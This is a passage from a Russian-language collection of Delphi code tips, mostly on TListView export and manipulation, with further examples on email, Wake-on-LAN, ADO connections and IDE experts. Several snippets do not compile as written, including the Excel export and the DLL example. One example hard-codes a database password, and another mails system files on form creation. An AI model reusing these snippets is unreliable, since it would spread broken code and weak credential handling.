     WriteLn(tfile,'<head>');
     WriteLn(tfile,'<title>HTML-Ansicht: '+listview.Name+'</title>');
     WriteLn(tfile,'</head>');
     WriteLn(tfile,'<table border="1" bordercolor="#000000">');
     WriteLn(tfile,'<tr>');
     for i := 0 to listview.Columns.Count - 1 do
     begin
       if center then
         WriteLn(tfile,'<td><b><center>'+listview.columns[i].caption+'</center></b></td>') else
         WriteLn(tfile,'<td><b>'+listview.columns[i].caption+'</b></td>');
     end;
     WriteLn(tfile,'</tr>');
     WriteLn(tfile,'<tr>');
     for i := 0 to listview.Items.Count-1 do
     begin
       WriteLn(tfile,'<td>'+listview.items.item[i].caption+'</td>');
       for f := 0 to listview.Columns.Count-2 do
       begin
         if listview.items.item[i].subitems[f]='' then Write(tfile,'<td>-</td>') else
           Write(tfile,'<td>'+listview.items.item[i].subitems[f]+'</td>');
       end;
       Write(tfile,'</tr>');
     end;
     WriteLn(tfile,'</table>');
     WriteLn(tfile,'</html>');
     CloseFile(tfile);
     Result := True;
   except
   Result := False;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if ListViewConfHTML(form1.ListView1,'C:\text.html', true) then
     ShowMessage('OK/ Hat geklappt') else
       ShowMessage('Error occured/ Hat nicht geklappt');
 end;

Экспорт TListView в TStringGrid.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure ListView2StringGrid(Listview: TListView; StringGrid: TStringGrid);
 const
   MAX_SUBITEMS = 5;
 var
   i, j: Integer;
 begin
   with ListView do
     for i := 0 to Items.Count - 1 do
     begin
       {Get Item of First Column}
       StringGrid.Cells[1, i + 1] := Items[i].Caption;
       {loop through SubItems}
       for j := 0 to MAX_SUBITEMS do
       begin
         if Items[i].SubItems.Count > j then
           StringGrid.Cells[j + 2, i + 1] := Items[i].SubItems.Strings[j]
         else
            break;
       end;
     end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   i: Integer;
 begin
   // Clear the StringGrid if necessary 
  // Falls notig, zuerst das StringGrid loschen 
  i := 0;
   while i < StringGrid1.RowCount do
   begin
     StringGrid1.Rows[i].Clear;
     Inc(i);
   end;
   // Copy ListView1 to StringGrid1 
  ListView2StringGrid(ListView1, StringGrid1);
 end;

Сохранение данных из TListView в XLS.

Автор: dDan WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение данных из ListView в *.xls
Сохранение данных из ListView в *.xls
Зависимости: ComObj
Автор:       dDan, ddan2002@mail.ru
Copyright:   dDan
Дата:        3 декабря 2003 г.
***************************************************** }
procedure ListToExcel(ListView: TListView);
var
  row, i: integer;
  Range, Sheet: VAriant;
begin
  try
    Excel := CreateOleObject('Excel.Application');
  except
    raise Exception.Create('Невозможно поключиться к серверу Excel');
  end;
  Screen.Cursor := crHourGlass;
  Excel.SheetsInNewWorkBook := 1;
  Excel.WorkBooks.Add;
  Sheet := Excel.Workbooks[1].Sheets[1];
  Range := Sheet.Columns;
  Range.Columns[1].ColumnWidth := 30;
  Range.Columns[n].ColumnWidth := 30;
  Range.Columns[n + 1].ColumnWidth := 30;
  Range.Columns.Font.Size := 8;
  Range := Sheet.Range['a1:f1'];
  Range.Font.Size := 15;
  Range.Font.Bold := True;
  Range.Columns.Interior.ColorIndex := 6;
  Range.HorizontalAlignment := 3;
  Sheet.Cells[1, 2] := 'Данные на' + DateToStr(Date); //Заголовок
  Range := Sheet.Range['a2:f2'];
  Range.Font.Size := 10;
  Range.Font.Bold := True;
  Sheet.Cells[2, 1] := 'АА'; //Названия столбцов
  Sheet.Cells[2, n] := 'ББ';
  Sheet.Cells[2, n + 1] := 'вв';
  Row := 3;
  for i := 0 to List.Items.Count - 1 do
  begin
    Sheet.Cells[Row, 1] := ListView.Items.Item[i].Caption;
    Sheet.Cells[Row, 2] := ListView.Items.Item[i].SubItems[n];
    Sheet.Cells[Row, 3] := ListView.Items.Item[i].SubItems[n + 1];
    inc(Row);
  end;
  Screen.Cursor := crDefault;
  if SaveDialog.Execute then
    Excel.WorkBooks[1].SaveAs(exs.FileName); //Сохраняем
  Excel.Visible := True; //Показываем Excel
end;

Предотвратить появление ошибки при использовании TListView в режиме отчета под манифестом XP.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The TListView with a vsReport style causes an access violation 
  when you run your project with a XP manifest resource. 
  The VCL wrapper has a bug and you must patch sources. 
  Just copy the comctrls.pas unit in the folder with your own 
  project and modify the UpdateColumn method. 
  After compiling the project, a comctrls.dcu is created 
  and you can replace the original comctrls.dcu with the 
  patched one. 
}
 { 
  Wenn ein XP Manifest als Ressource in eine Exe-Datei eingebunden 
  wird, um einer Applikation das neue XP-Design zu verleihen, 
  gibt es bei der TListView mit Style vsReport eine Zugriffsverletzung 
  und die Anwenung lasst sich nicht starten. 
  Das ist ein VCL Bug und kann behebt werden, indem 
  comctrls.pas modifiziert wird. 
  Kopiere die comctrls.pas in dein Projekte-Verzeichnis und 
  andere die UpdateColumn Methode wie folgt. 
  Nach dem Kompilieren wird eine Comctrls.dcu Datei erstellt. 
  Die original Comctrls.dcu kann nun durch die modifizierte ersetzt werden. 
}
 // ComCtrls.pas: 
procedure TCustomListView.UpdateColumn(AnIndex: Integer);
 {...}
 with Column, Columns.Items[AnIndex] do
 begin
   { PATCH start:}
   // mask := LVCF_TEXT or LVCF_FMT or LVCF_IMAGE; 
  mask := LVCF_TEXT or LVCF_FMT;
   if FImageIndex >= 0 then
     mask := mask or LVCF_IMAGE;
   { PATCH :end }
   {...}
 end;

XP Themes - Ошибка kernel32 при отображении ListView.

Оформил: DeeCo

Автор: Олег Грабец.

Приложение, откомпилированное в Delphi 6, будучи запущенным под Windows XP, выдает исключение AV в kernel32 при следующих условиях: к приложению подключается манифест для поддержки тем XP на форме использовался ListView в режиме vsReport с включенным ShowColumnHeaders Статьи по Delphi (011)…

Ошибка происходит когда доходит очередь до отрисовки заголовка ListView (см. рисунок). Эксперимент показывает, что от "производителя" манифеста это не зависит.

ТИПОВЫЕ РЕШЕНИЯ. Проблем нет при использовании Delphi 7 Отказываться от поддержки тем Отказываться от использования ListView в режиме vsReport

КОММЕНТАРИЙ:

Кто работает с D6 под XP - проверьте этот камень. Можно еще посоветовать следовать общим рекомендациям из статьи Акжана Абдулина на сайте www.rsdn.ru : Поддержка Windows Visual Styles (Themes) API в Ваших органах управления

Заключение

Если вы заметили орфографическую, стилистическую или другую ошибку на этой странице, просто выделите ошибку мышью и нажмите Ctrl+Enter.

Получить все выделенные элементы TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   i: integer;
 begin
   with Listview1 do
     // MultiSelect := True; 
    // ViewStyle := vsReport; 
    for i := 0 to Items.Count - 1 do
       if Items[i].Selected then
         Items[i].Caption := Items[i].Caption + ' - Selected!';
 end;

Двоичный поиск для TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{+------------------------------------------------------------ 
| Function ListviewBinarySearch 
| 
| Parameters : 
| listview: listview to search, assumed to be sorted, must 
| be <> nil. 
| Item : item caption to search for, cannot be empty 
| index : returns the index of the found item, or the 
| index where the item should be inserted if it is not 
| already in the list. 
| Returns : True if there is an item with the passed caption 
| in the list, false otherwise. 
| Description: 
| Uses a binary search and assumes that the listview is sorted 
| ascending on the caption of the listitems. The search is 
| case-sensitive, like the default alpha-sort routine used by 
| the TListview class. 
| Note: 
| We use the lstrcmp function for string comparison since it 
| is the function used by the default alpha sort routine. If 
| the listview is sorted by another means (e.g. OnCompare event) 
| this needs to be changed, the comparison method used must 
| always be the same one used to sort the listview, or the 
| search will not work! 
| Error Conditions: none 
| Created: 31.10.99 by P. Below 
+------------------------------------------------------------}
 function ListviewBinarySearch(listview: TListview; const Item: string;
   var Index: Integer): Boolean;
 var
   First, last, pivot, res: Integer;
 begin
   Assert(Assigned(listview));
   Assert(Length(item) > 0);
   Result := False;
   Index  := 0;
   if listview.Items.Count = 0 then Exit;
   First := 0;
   last  := listview.Items.Count - 1;
   repeat
     pivot := (First + last) div 2;
     res   := lstrcmp(PChar(item), PChar(listview.Items[pivot].Caption));
     if res = 0 then
     begin
       { Found the item, return its index and exit. }
       Index  := pivot;
       Result := True;
       Break;
     end { If }
     else if res > 0 then
     begin
       { Item is larger than item at pivot }
       First := pivot + 1;
     end { If }
     else
     begin
       { Item is smaller than item at pivot }
       last := pivot - 1;
     end;
   until last < First;
   Index := First;
 end; { ListviewBinarySearch }

Добавить событие по двойному щелчку на заголовке TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  MS did not see fit to send a notification to the listview when the user 
  Double - clicks on the header. But the header control class does have the 
  CS_DBLCLKS Style, so it does get WM_LBUTTONDBLCLK messages, it just does 
  not do anything with them. To get at these messages requires API - Style 
  subclassing of the header control. 
}
 uses commctrl;
 function HeaderProc(wnd: HWND; Msg: Cardinal; wParam: wParam; lParam: lParam): Longint;
   stdcall;
 var
   hti: THDHitTestInfo;
 begin
   Result := CallWindowProc(Pointer(GetWindowLong(wnd, GWL_USERDATA)),
     wnd, Msg, wParam, lParam);
   if Msg = WM_LBUTTONDBLCLK then
   begin
     FillChar(hti, SizeOf(hti), 0);
     hti.Point := SmallPointToPoint(TSmallPoint(lParam));
     if SendMessage(wnd, HDM_HITTEST, 0, Longint(@hti)) >= 0 then
       if hti.Flags = HHT_ONHEADER then
         // would usually send a custom notification to GetParent(wnd) here 
        Form1.Memo1.Lines.Add(Format('doubleclick on header item %d', [hti.Item]));
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   wnd: HWND;
   buffer: array [0..80] of Char;
   oldProc: Integer;
 begin
   wnd := GetWindow(Listview1.Handle, GW_CHILD);
   if wnd <> 0 then
   begin
     Windows.GetClassname(wnd, buffer, SizeOf(buffer));
     memo1.Text := buffer;
     if (GetClassLong(wnd, GCL_STYLE) and CS_DBLCLKS) <> 0 then
     begin
       Memo1.Lines.Add('Has doubleclicks style');
       oldproc := GetWIndowLong(wnd, GWL_WNDPROC);
       if GetWindowLong(wnd, GWL_USERDATA) <> 0 then
         raise Exception.Create('Cannot sublcass header, USERDATA already in use');
       SetWIndowLong(wnd, GWL_USERDATA, oldproc);
       SetWindowLong(wnd, GWL_WNDPROC, Integer(@HeaderProc));
     end;
   end
   else
     Memo1.Text := 'No child';
 end;

Переместить элемент в TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Move item 1 after item 4 
// Bewege Item 1 hinter Item 4 
function MoveListViewItem(listView: TListView; ItemFrom, ItemTo: Word): Boolean;
 var
   Source, Target: TListItem;
 begin
   Result := False;
   listview.Items.BeginUpdate;
   try
     Source := listview.Items[ItemFrom];
     Target := listview.Items.Insert(ItemTo);
     Target.Assign(Source);
     Source.Free;
     Result := True;
   finally
     listview.Items.EndUpdate;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   // Listview1.ViewStyle := vsReport; 
  if MoveListViewItem(Listview1, 1, 4) then
     ShowMessage('Moved!');
 end;

Макро-процедуры.

Автор: Peter Below Каким образом мне можно использовать переменную типа String в качестве имени процедуры? Если все процедуры, которые вы собираетесь вызывать имеют список с одними и теми же параметрами, (или все без параметров), то это не трудно. Для этого необходимо:

Процедурный тип, соответствующий вашей процедуре, например:

Type
  TMacroProc = Procedure( param: Integer );

Массив, "подключающий" имена процедур к их адресам во время выполнения приложения:

Type
  TMacroName  = String[32];
  TMacroLink = Record
    name: TMacroName;
    proc: TMacroProc;
  End;
  TMacroList = Array [1..MaxMacroIndex] Of TMacroLink;
Const
  Macros: TMacroList=(
    (name: 'Proc1'; proc: Proc1 ),
    (name: 'Proc2'; proc: Proc2 ),
    .....);

Интерпретатор функций, типа:

Procedure CallMacro( name: String; param: Integer );
Var
  i: Integer;
Begin
  For i := 1 To MaxMacroIndex Do
    If CompareText( name, Macros[i].name ) = 0 Then
    Begin
      Macros[i].proc( param );
      Break;
    End;
End;

Макро-процедуры необходимо объявить в секции Interface модуля или с ключевым словом Far, например:

Procedure Proc1( n: Integer ); far;
Begin
  ....
End;
Procedure Proc2( n: Integer ); far;
Begin
  ....
End;

Реализация Wake для сети – Волшебный Пакет.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
What's a Magic Packet? 
Was ist ein Magic Packet? 
DESTINATION SOURCE MISC. FF FF FF FF FF FF 11 22 33 44 55 66 11 22 33 44 
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 
55 66 11 22 33 44 55 66 11 22 33 44 55 66 MISC. CRC. 
Note: Destination, Source, Misc and CRC are normally added by our Socket-Component 
Beachte: Destination, Source, Mis und CRC werden normalerweise von deiner 
Socket-Komponente hinzugefugt 
}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   Data, temp: string;
   k, n: integer;
 begin
   Data := '';
   for k := 0 to 5 do
   begin
     Data := Data + Chr(StrToInt('$FF'));  // 6x add a FF / 6x ein FF hinzufugen 
  end;
   temp := StringReplace(Edit1.Text, '-', '', [rfReplaceAll]);
   for k := 0 to 15 do
   begin
     temp := StringReplace(Edit1.Text, '-', '', [rfReplaceAll]);
     for n := 0 to 5 do
     begin
       // 16x add Target-Mac-Adress / 16x die Ziel-Macadresse hinzufugen 
      Data := Data + Chr(StrToInt('$' + temp[1] + temp[2]));
       Delete(temp, 1, 2);
     end;
   end;
      //Example with TIdUDPClient of Indy 
  //IdUDPClient1.Send('255.255.255.255', '80', Data);  // Send it / Verschick es 
end;

Пример работы с MailSlot.

Автор: Baa WEB-сайт: http://forum.vingrad.ru

procedure TForm1.Button1Click(Sender: TObject);
var
  hSlot1: THandle;
  lpszSlotName: LPSTR;
begin
  lpszSlotName := '\\\\.\\mailslot\\sample_mailslot';
  hslot1 := CreateMailslot(lpszSlotName,
    0,
    MAILSLOT_WAIT_FOREVER,
    nil);
  // тут поидее должна быть обработка ошибки, если не удалось создать
  // Далее работаем
  // с ним, как с файлом т.е.WriteFile и т.д.
    CloseHandle(hSlot1); //а кады закрываем за собой дескриптор,
  // то память чистится т.е.все, что мы туда поназаписали удаляется
end;

Как отправить Email, используя почтовую программу по умолчанию.

uses SHELLAPI;
procedure AutoSendMail;
var
  EMailDestinationString, SubjectString, Line1String,
    Line2String, mailstring: string;
begin
  EMailDestinationString := 'gbamber@bamber.com';
  SubjectString := 'Message Subject';
  Line1String := 'This is the first line';
  Line2String := 'This is the second line';
  // Можно использовать несколько адресов, разделяя их точкой с запятой
  mailstring := 'mailto:' + EMailDestinationString +
    '?subject=' + SubjectString +
    '&body=' + Line1String +
    '%0d' + Line2String;
  if (ShellExecute(0, 'open', PChar(mailstring), '', '',
    SW_SHOWNORMAL) <= 32) then
    ShowMessage('Auto method failed.');
end;

Получить имена установленных почтовых клиентов.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Get names of installed Mail-Clients. 
  Namen der installierten Mail-Clients ermitteln. 
}
 uses
   Registry;
 function GetInstalledMailClients(AList: TStrings): Boolean;
 const
   RegClientsRoot = '\SOFTWARE\Clients';
   RegClientsMail = '\Mail';
   RegClientsOpenCmd = '\shell\open\command';
 var
   reg: TRegistry;
 begin
   Result := True;
   try
     AList.Clear;
     reg := nil;
     reg := TRegistry.Create;
     try
       with reg do
       begin
         CloseKey;
         RootKey := HKEY_LOCAL_MACHINE;
         if OpenKeyReadOnly(RegClientsroot + RegClientsMail) then
           if HasSubKeys then
             GetKeyNames(AList);
       end;
     finally
       if Assigned(reg) then reg.Free;
     end;
   except
     Result := False;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   GetInstalledMailClients(ListBox1.Items);
 end;

Отправить Email с вложением для Outlook Express.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Shellexecute(Handle,'open','mailto:aaaa@bbb.com?subject&body=body 
  text&CC=aaaa&bcc=dddd&attach=FileName',nil,nil,SW_SHOW) 
  only works with outlook, not for outlook express, 
  but the method below can send attachment to outlook express 
}
 uses
   ComObj;
 procedure SendMail(Subject, Body, RecvAddress : string; Attachs : array of string);
 var
   MM, MS : Variant;
   i : integer;
 begin
   MS := CreateOleObject('MSMAPI.MAPISession');
   try
     MM := CreateOleObject('MSMAPI.MAPIMessages');
     try
       MS.DownLoadMail := False;
       MS.NewSession := False;
       MS.LogonUI := True;
       MS.SignOn;
       MM.SessionID := MS.SessionID;
       MM.Compose;
       MM.RecipIndex := 0;
       MM.RecipAddress := RecvAddress;
       MM.MsgSubject := Subject;
       MM.MsgNoteText := Body;
       for i := Low(Attachs) to High(Attachs) do
       begin
         MM.AttachmentIndex := i;
         MM.AttachmentPathName := Attachs[i];
       end;
       MM.Send(True);
       MS.SignOff;
     finally
       VarClear(MS);
     end;
   finally
     VarClear(MM);
   end;
 end;
 procedure TForm1.FormCreate(Sender : TObject);
 begin
   SendMail('Subject', 'Body'#13#10'Second'  , 'BillGates@Microsoft.com',
     ['C:\Winnt\explorer.exe', 'C:\winnt\win.ini']);
 end;

Получить дескриптор главного окна оболочки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  At times, it is necessary to get a handle (HWND) to the shell's main window. 
  MSDN offers us next method: 
   hwndShell := FindWindow('Progman', nil); 
  It seems to be a simple code but I've found much better solution. 
  The User32.dll has one more useful and of course 
  undocumented function - GetShellWindow! 
}
 // This example will show you how you can obtain a handle to the 
// Windows Shell window without calling the FindWindow function. 
// Translated from C to Delphi by Thomas Stutz 
// Original Code: 
// (c)1999 Ashot Oganesyan K, SmartLine, Inc 
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com 
// This function returns a handle to the Windows Shell window 
function ShellWindow: HWND;
 type
   TGetShellWindow = function(): HWND; stdcall;
 var
   hUser32: THandle;
   GetShellWindow: TGetShellWindow;
 begin
   Result := 0;
   hUser32 := GetModuleHandle('user32.dll');
   if (hUser32 > 0) then
   begin
     @GetShellWindow := GetProcAddress(hUser32, 'GetShellWindow');
     if Assigned(GetShellWindow) then
     begin
       Result := GetShellWindow;
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   hShellWindow: Hwnd;
   strWinText: array[0..260] of char;
 begin
   hShellWindow := ShellWindow;
   if hShellWindow <> 0 then
   begin
     GetWindowText(ShellWindow, strWinText, 255);
     ShowMessage(strWinText);
   end;
 end;

Hook для главной формы приложения.

Автор: Xavier Pacheco

unit HookMain;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;
type
  THookForm = class(TForm)
    SendBtn: TButton;
    GroupBox1: TGroupBox;
    LogList: TListBox;
    DoLog: TCheckBox;
    ExitBtn: TButton;
    procedure SendBtnClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ExitBtnClick(Sender: TObject);
  private
    function AppWindowHook(var Message: TMessage): Boolean;
  end;
var
  HookForm: THookForm;
implementation
{$R *.DFM}
procedure THookForm.FormCreate(Sender: TObject);
begin
  Application.HookMainWindow(AppWindowHook);
end;
procedure THookForm.FormDestroy(Sender: TObject);
begin
  Application.UnhookMainWindow(AppWindowHook);
end;
function THookForm.AppWindowHook(var Message: TMessage): Boolean;
const
  LogStr = 'Message ID: $%x, WParam: $%x, LParam: $%x';
begin
  Result := True;
  if DoLog.Checked then
    with Message do
      LogList.Items.Add(Format(LogStr, [Msg, WParam, LParam]));
end;
procedure THookForm.SendBtnClick(Sender: TObject);
begin
  SendMessage(Application.Handle, WM_NULL, 0, 0);
end;
procedure THookForm.ExitBtnClick(Sender: TObject);
begin
  Close;
end;
end.

Как сделать ADO-connection.

Автор: http://www.swissdelphicenter.ch

uses
  ComObj;
function OpenConnection(ConnectionString: AnsiString): Integer;
var
  ADODBConnection: OleVariant;
begin
  ADODBConnection := CreateOleObject('ADODB.Connection');
  ADODBConnection.CursorLocation := 3; // User client
  ADODBConnection.ConnectionString := ConnectionString;
  Result := 0;
  try
    ADODBConnection.Open;
  except
    Result := -1;
  end;
end;
function DataBaseConnection_Test(bMessage: Boolean): AnsiString;
var
  asTimeout, asUserName, asPassword, asDataSource, ConnectionString: AnsiString;
  iReturn: Integer;
  OldCursor: TCursor;
begin
  OldCursor := Screen.Cursor;
  Screen.Cursor := crHourGlass;
  asTimeout := '150';
  asUserName := 'NT_Server';
  asPassword := 'SA';
  asDataSource := 'SQL Server - My DataBase';
  ConnectionString := 'Data Source = ' + asDataSource +
    'User ID = ' + asUserName +
    'Password = ' + asPassword +
    'Mode = Read|Write;Connect Timeout = ' + asTimeout;
  try
    iReturn := OpenConnection(ConnectionString);
    if (bMessage) then
    begin
      if (iReturn = 0) then
        Application.MessageBox('Connection OK!', 'Information', MB_OK)
      else if (iReturn = -1) then
        Application.MessageBox('Connection Error!', 'Error', MB_ICONERROR +
          MB_OK);
    end;
    if (iReturn = 0) then
      Result := ConnectionString
    else if (iReturn = -1) then
      Result := '';
  finally
    Screen.Cursor := OldCursor;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  DataBaseConnection_Test(True);
end;

Создание каталога.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Dialogs;
 begin
   {$I-}
   MkDir('c:\windows');
   {$I+}
   if IOResult <> 0 then
     MessageDlg('Cannot Create Directory/Verzeichnis kann nicht angelegt werden!',
       mtWarning, [mbOK], 0)
   else
     MessageDlg('Directory Created/Neues Verzeichnis angelegt.', mtInformation, [mbOK], 0);
 end;

Как сделать DLL.

library lib_name;
uses classes, sysutils;
{$r *.res}
begin
function b(a: string)
begin
end;
exports b;
end.
// а из программы ее можно вызывать так:
function b(a: string); external 'lib_name.dll';

Написание простейшего эксперта.

Автор: Раструсный Владислав Какой же код нужно написать для создания простейшего эксперта? Для этого нужно написать класс, унаследованный от IOTAWizard (определен в файле ToolsAPI.pas) или одного из его потомков, расположить в модуле процедуру Register, как мы это делали с компонентами, и вызвать внутри ее процедуру RegisterPackageWizard (const Wizard: IOTAWizard); например: RegisterPackageWizard (TMyExpert.Create as IOTAWizard); передав ей в качестве параметра экземпляр заранее созданного эксперта.

Рассмотрим класс IOTAWizard.

IOTAWizard = interface(IOTANotifier)
  ['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']
  { Expert UI strings }
  function GetIDString: string;
  function GetName: string;
  function GetState: TWizardState;
  { Launch the AddIn }
  procedure Execute;
end;

Интерфейс IOTANotifier нам не понадобится, поэтому давайте рассмотрим методы IOTAWizard:

Метод GetIDString должен возвращать уникальный идентификатор эксперта. Например: MyCompany.MyExpert Метод GetName должен возвращать название эксперта Метод GetState должен возвращать [wsEnabled], если эксперт функционирует, wsChecked если выбран. Метод Execute вызывается при запуске эксперта из среды IDE.

Итак, если вы хотите сами программировать действия вашего эксперта, включая добавление в меню IDE и прочее и прочее, унаследуйте его от IOTAWizard.

Если вы хотите, чтобы ваш эксперт отображался в репозитарии Delphi на произвольной странице и по щелчку по его иконке вызывался его метод Execute - унаследуйте его от IOTARepositoryWizard.

IOTARepositoryWizard = interface(IOTAWizard)
  ['{B75C0CE1-EEA6-11D1-9504-00608CCBF153}']
  function GetAuthor: string;
  function GetComment: string;
  function GetPage: string;
  function GetGlyph: Cardinal;
end;
Метод GetAuthor должен возвращать имя автора, Метод GetComment - комментарий, Метод GetPage - страницу на которой будет расположена иконка эксперта Метод GetGlyph - дескриптор иконки Если вы хотите, чтобы эксперт появлялся на странице форм в репозитарии - унаследуйте его от IOTAFormWizard. Он имеет все те же методы и свойства, что и IOTARepositoryWizard, если на странице проектов - от IOTAProjectWizard. Он тоже аналогичен IOTARepositoryWizard.

Если же вы хотите, чтобы пункт меню для вызова метода вашего эксперта Execute помещался в меню Help главного меню IDE, унаследуйте вашего эксперта от IOTAMenuWizard:

IOTAMenuWizard = interface(IOTAWizard)
  ['{B75C0CE2-EEA6-11D1-9504-00608CCBF153}']
  function GetMenuText: string;
end;
Метод GetMenuText должен возвращать имя пункта меню для отображения, а метод GetState возвращает стиль элемента меню (Enabled, Checked) Вот так все просто, оказывается! Расположение эксперта внутри DLL библиотеки

Если вы хотите расположить вашего эксперта не в пакете, а в DLL библиотеке, библиотека должна экспортировать функцию INITWIZARD0001 следующего формата:

type
  TWizardRegisterProc = function(const Wizard: IOTAWizard): Boolean;
type
  TWizardTerminateProc = procedure;
function INITWIZARD0001(const BorlandIDEServices: IBorlandIDEServices;
  RegisterProc: TWizardRegisterProc; var Terminate: TWizardTerminateProc):
    Boolean stdcall;
Для регистрации вашего эксперта вызовите внутри этой функции RegisterProc и передайте ей экземпляр заранее созданного класса вашего эксперта. BorlandIDEServices - указатель на основной интерфейс для работы со всей IDE. Отдельные части его мы рассмотрим далее. По окончании работы IDE или при принудительной выгрузке вашего эксперта будет вызвана функция Terminate, которую вы должны передать среде. Поместите полный путь к DLL в ключ реестра HKEY_CURRENT_USER\Software\Borland\Delphi\7.0\Experts или HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\7.0\Experts Именем ключа может быть произвольная строка.

Эксперт будет запущен только при перезапуске среды, если она выполнялась. Вуаля!

Создание шрифта.

Статьи по Delphi (011)…

Автор: Xavier Pacheco

{
Copyright © 1998 by Delphi 4 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit FontInfoFrm;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, StdCtrls;
type
  TFontInfoForm = class(TForm)
    lbFontInfo: TListBox;
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  FontInfoForm: TFontInfoForm;
implementation
uses MainFrm;
{$R *.DFM}
procedure TFontInfoForm.FormActivate(Sender: TObject);
const
  PITCH_MASK: byte = $0F; // Set the lower order four bits
  FAMILY_MASK: byte = $F0; // Set to higher order four bits
var
  TxMetric: TTextMetric;
  FaceName: string;
  PitchTest, FamilyTest: byte;
begin
  // Allocate memory for FaceName string
  SetLength(FaceName, lf_FaceSize + 1);
  // First get the font information
  with MainForm.pbxFont.Canvas do
  begin
    GetTextFace(Handle, lf_faceSize - 1, PChar(FaceName));
    GetTextMetrics(Handle, TxMetric);
  end;
  // Now add the font information to the listbox from the TTEXTMETRIC structure.
  with lbFontInfo.Items, TxMetric do
  begin
    Clear;
    Add('Font face name:     ' + FaceName);
    Add('tmHeight:     ' + IntToStr(tmHeight));
    Add('tmAscent:     ' + IntToStr(tmAscent));
    Add('tmDescent:     ' + IntToStr(tmDescent));
    Add('tmInternalLeading:     ' + IntToStr(tmInternalLeading));
    Add('tmExternalLeading:     ' + IntToStr(tmExternalLeading));
    Add('tmAveCharWidth:     ' + IntToStr(tmAveCharWidth));
    Add('tmMaxCharWidth:     ' + IntToStr(tmMaxCharWidth));
    Add('tmWeight:     ' + IntToStr(tmWeight));
    if tmItalic <> 0 then
      Add('tmItalic: YES')
    else
      Add('tmItalic: NO');
    if tmUnderlined <> 0 then
      Add('tmUnderlined: YES')
    else
      Add('tmUnderlined: NO');
    if tmStruckOut <> 0 then
      Add('tmStruckOut: YES')
    else
      Add('tmStruckOut: NO');
    // Check the font's pitch type
    PitchTest := tmPitchAndFamily and PITCH_MASK;
    if (PitchTest and TMPF_FIXED_PITCH) = TMPF_FIXED_PITCH then
      Add('tmPitchAndFamily-Pitch: Fixed Pitch');
    if (PitchTest and TMPF_VECTOR) = TMPF_VECTOR then
      Add('tmPitchAndFamily-Pitch: Vector');
    if (PitchTest and TMPF_TRUETYPE) = TMPF_TRUETYPE then
      Add('tmPitchAndFamily-Pitch: True type');
    if (PitchTest and TMPF_DEVICE) = TMPF_DEVICE then
      Add('tmPitchAndFamily-Pitch: Device');
    if PitchTest = 0 then
      Add('tmPitchAndFamily-Pitch: Unknown');
    // Check the fonts family type
    FamilyTest := tmPitchAndFamily and FAMILY_MASK;
    if (FamilyTest and FF_ROMAN) = FF_ROMAN then
      Add('tmPitchAndFamily-Family: FF_ROMAN');
    if (FamilyTest and FF_SWISS) = FF_SWISS then
      Add('tmPitchAndFamily-Family: FF_SWISS');
    if (FamilyTest and FF_MODERN) = FF_MODERN then
      Add('tmPitchAndFamily-Family: FF_MODERN');
    if (FamilyTest and FF_SCRIPT) = FF_SCRIPT then
      Add('tmPitchAndFamily-Family: FF_SCRIPT');
    if (FamilyTest and FF_DECORATIVE) = FF_DECORATIVE then
      Add('tmPitchAndFamily-Family: FF_DECORATIVE');
    if FamilyTest = 0 then
      Add('tmPitchAndFamily-Family: Unknown');
    Add('tmCharSet:     ' + IntToStr(tmCharSet));
    Add('tmOverhang:     ' + IntToStr(tmOverhang));
    Add('tmDigitizedAspectX:     ' + IntToStr(tmDigitizedAspectX));
    Add('tmDigitizedAspectY:     ' + IntToStr(tmDigitizedAspectY));
  end;
end;
end.
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExtCtrls, Mask, Spin;
const
  // Array to represent the TLOGFONT.lfCharSet values
  CharSetArray: array[0..4] of byte = (ANSI_CHARSET, DEFAULT_CHARSET,
    SYMBOL_CHARSET, SHIFTJIS_CHARSET, OEM_CHARSET);
  // Array to represent the TLOGFONT.lfWeight values
  WeightArray: array[0..9] of integer =
